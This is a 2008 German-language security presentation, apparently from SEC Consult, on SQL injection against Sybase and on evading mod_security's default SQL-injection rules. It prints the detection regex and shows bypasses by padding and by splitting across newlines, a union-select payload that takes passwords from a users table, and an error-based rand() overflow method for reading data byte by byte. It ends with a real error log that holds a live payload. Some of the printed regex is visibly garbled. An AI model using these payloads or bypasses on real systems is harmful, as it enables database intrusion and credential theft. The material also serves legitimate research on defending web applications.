

Sybase SQL Injection & Bypassing mod_security

Advisor for your information security.



SEC Consult

Version:	1.0
Autor:	Thomas Kerbl
Verantwortlich:	Thomas Kerbl
Datum:	29. Jänner 2008
Vertraulichkeitsstufe:	Public

Default mod_security rules

```
51 #
52 #
53 # SQL injection
54 #
55 SecRule REQUEST_FILENAME|ARGS_NAMES
"(?:\b(?:?:s(?:?:elect\b(?:?:\{1,100}?\b(?:?:length|count|top)\b(?:?:\{1,100}?\bfrom|from\b(?:?:\{1,100}?\bwhere)|.*\b(?:?:d(?:ump\b.*\bfrom|ata_type)|(?:to(?:num|cha)|inst
r))|p(?:?:addextendedpro|sql)|exe|(??:oacreat|prepar)e|execute(?:?:sq|)?|makewebtask|(??:longvarchar|variant))|xp(?:reg(?:re(?:movemultistring|ad)|delete(?:valu
e|key)|enum(?:value|keys)|addmultistring|write)|e(?::xeresultset|numdsn)|(??:terminat|dir|tre)|availab|media|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?::nion\
\b(?:?:\{1,100}?\bselect|t|_(?:file|http))|group\b.*\bby\b(?:?:\{1,100}?\bhaving|d(?:?:ete\b\w*\bfrom|bms_java)|load\b\w*\bdata\b.*\binfile|(??:n?varcha|tbcreato)r|autonomou
transaction|open(?:rows|query)|1\s*=\s*1)\b|i(?:?:n(?:?:to\b\w*\b(?:?:dump|out)|file|sent\b\w*\binto|ner\b\w*\bjoin)\b|(??:f(?:?:\b\w*\b(?:?:\w*\bbenchmark|null\b)|snu11
\b)\w*\b(?:?:having|or|and)\b\s+(?:\d{1,10}|[\'\"]|[^\s\'"])[^=]{1,10}|[\'\"]\s*=[<=>]+|print\b\w*\b(?:?:\@|cast\b\w*\b(?:?:\@|version)\b|'?:s(?:?:q|ol
edb|a)|msdasql|dbo)')")
56 "capture,t:htmlEntitydecode,t:lowercase,t:replaceComments,ctl:auditLogParts+=E,log,auditlog,msg:'SQL Injection Attack. Matched signature
<%{TX.0}>',id:'950001',severity:'2'
57 SecRule REQUEST_HEADERS|XML:/*|REQUEST_HEADERS:Referer
"(?:\b(?:?:s(?:?:elect\b(?:?:\{1,100}?\b(?:?:length|count|top)\b(?:?:\{1,100}?\bfrom|from\b(?:?:\{1,100}?\bwhere)|.*\b(?:?:d(?:ump\b.*\bfrom|ata_type)|(?:to(?:num|cha)|inst
r))|p(?:?:addextendedpro|sql)|exe|(??:oacreat|prepar)e|execute(?:?:sq|)?|makewebtask|(??:longvarchar|variant))|xp(?:reg(?:re(?:movemultistring|ad)|delete(?:valu
e|key)|enum(?:value|keys)|addmultistring|write)|e(?::xeresultset|numdsn)|(??:terminat|dir|tre)|availab|media|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?::nion\
\b(?:?:\{1,100}?\bselect|t|_(?:file|http))|group\b.*\bby\b(?:?:\{1,100}?\bhaving|d(?:?:ete\b\w*\bfrom|bms_java)|load\b\w*\bdata\b.*\binfile|(??:n?varcha|tbcreato)r|autonomou
transaction|open(?:rows|query)|1\s*=\s*1)\b|i(?:?:n(?:?:to\b\w*\b(?:?:dump|out)|file|sent\b\w*\binto|ner\b\w*\bjoin)\b|(??:f(?:?:\b\w*\b(?:?:\w*\bbenchmark|null\b)|snu11
\b)\w*\b(?:?:having|or|and)\b\s+(?:\d{1,10}|[\'\"]|[^\s\'"])[^=]{1,10}|[\'\"]\s*=[<=>]+|print\b\w*\b(?:?:\@|cast\b\w*\b(?:?:\@|version)\b|'?:s(?:?:q|ol
edb|a)|msdasql|dbo)')")
58 "capture,t:urlDecodeUni,t:htmlEntitydecode,t:lowercase,t:replaceComments,ctl:auditLogParts+=E,log,auditlog,msg:'SQL Injection Attack. Matched signature
<%{TX.0}>',id:'950001',severity:'2'
59 #
60 # SecRule REQUEST_FILENAME|ARGS_NAMES
```

Rules matchen auf keyword1+keyword2, wenn diese nicht mehr als 100 Zeichen von einander entfernt sind, z.B.:

```
select "1" from blah;
```

Einfach umgehbar durch das Einfügen von mehr als 100 chars, z.B.:

```
select "1" from blah;
```



Modifizierte mod_security Rules in einem Real-Life-Szenario

Rules matchen auf keyword1+keyword2, egal wie weit diese von einander entfernt sind -> keyword1.*keyword2

Sybase erlaubt das Schreiben von Queries über mehrere Zeilen, wenn einzelne Statements nicht sinnvoll sind. Können jedoch beide alleine stehen, werden Sie getrennt ausgeführt, z.B.:

```
select * from hugo \n exec dbo.someproc
```

Sind die Statements für sich alleine nicht korrekt, werden Sie zu einem verknüpft, z.B.:

```
select * from hugo \n union select "1", "2", "3", pwd from users
```

Modifizierte mod_security Rules in einem Real-Life-Szenario

Da der "." in einer Regex nicht auf \n matched, kann auch die verschärfte mod_security Regel keyword1.*keyword2 dank Sybase umgangen werden, z.B.:

```
select * \n from hugo union \n select "1", "2", "3", pwd \n from users
```

Error-based SQL Injection in Sybase

Sinnvoll, wenn man nur eine Fehlermeldung mittels SQL Injection in Sybase erzeugen kann -> 1 Byte pro Request kann gelesen werden

Methode: Übertreten des Wertebereichs der rand() Funktion, z.B.:

Abfrage: rand(999999999999999999999999)

Error: Arithmetic overflow during implicit conversion of NUMERIC value '999999999999999999999999' to a INT field

Error-based SQL Injection in Sybase

Durch Addition eines beliebigen Characters in der Datenbank oder eines beliebigen Werts kann die Ausgabe modifiziert werden, z.B.:

Abfrage: `select rand((select count(*) from hugo)%2b9000000000000)`

Error: Arithmetic overflow during implicit conversion of NUMERIC value '90000000000**24**' to a INT field

Ergebnis: Tabelle hugo enthält 24 Einträge

Error-based SQL Injection in Sybase

Inhalte der Datenbank werden Byte für Byte gelesen, z.B.:

Abfrage: `select+rand(ascii(substring(user,1,1))%2b9000000000000)`

Error: Arithmetic overflow during implicit conversion of NUMERIC value '9000000000**73**' to a INT field

Ergebnis: Erster Character der Variable user ist 73 (dec), also „I“

Error Diagnostic Information

ODBC Error Code = 22003 (Numeric value out of range)

[DataDirect][ODBC Sybase driver][SQL Server]Arithmetic overflow during implicit conversion of NUMERIC value '900000000073' to a INT field.

The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (17:1) to (17:63).

Date/Time: 01/29/08 10:58:44

Browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11

Remote Address: 193.138.105.62

Query String: Local_R_RecruitmentID=(select+rand(ascii(substring(user,1,1))%2b9000000000000))+--+&SID=naikjMcCQtEX

